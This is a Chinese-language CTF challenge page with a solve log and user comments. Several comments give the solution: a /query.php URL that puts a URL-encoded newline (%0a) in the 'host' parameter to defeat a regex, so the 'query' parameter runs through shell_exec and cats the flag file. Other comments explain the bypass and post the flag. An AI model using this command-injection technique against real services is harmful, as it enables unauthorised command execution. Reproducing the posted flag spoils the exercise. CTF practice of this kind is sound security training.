评分(1)
解题动态
luckylian 攻破了该题 7小时前
17335918325 攻破了该题 1天前
2495280533 攻破了该题 1天前
buuble123 攻破了该题 2天前
18516952839 攻破了该题 4天前
wsmemail 攻破了该题 6天前
渴死的鱼 攻破了该题 6天前
你不懂的吧 攻破了该题 7天前
周围有鬼 攻破了该题 8天前
1345736679 攻破了该题 9天前
百叶i 攻破了该题 13天前
kiku0203 攻破了该题 13天前
abcfdafda123 攻破了该题 15天前
李欣 攻破了该题 15天前
2912700095 攻破了该题 15天前
cs888 攻破了该题 16天前
knowimyourtype 攻破了该题 16天前
奔跑小马 攻破了该题 23天前
Goodboy 攻破了该题 24天前
评论
xiaoxiao972521 1年前
举报
/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
.⎛⎝•̀ω•́⎠⎞. 1年前
举报
1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕
unknown237819 1年前
举报
在本题的正则匹配中，空格无法匹配$前的任何字符，所以%20是不可行的，if的条件都过不了；在whois.verisign-grs.com后加换行是可行的，不仅字符串本身可以过if，换行后相当于重新输命令，即query给出的参数直接执行命令
868954104 1年前
举报
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
vchopin 1年前
举报
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
yituoshi 1年前
举报
Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE
1959272171 1年前
举报
空格被过滤了 用%20绕过
justsosoloveyou 1年前
举报
抓包，发现/query.php能看源码，是RCE。 有正则过滤，用换行符的编码%0a来截断第一个参数即可。用第二个参数执行任意命令, ls查看文件列表，cat查看文件内容。
宇宙无敌靓仔 1年前
举报
playload 怎么构造呢
qingfeng1115 1年前
举报
flag 文件名字是什么
wclc 1年前
举报
有点理解不了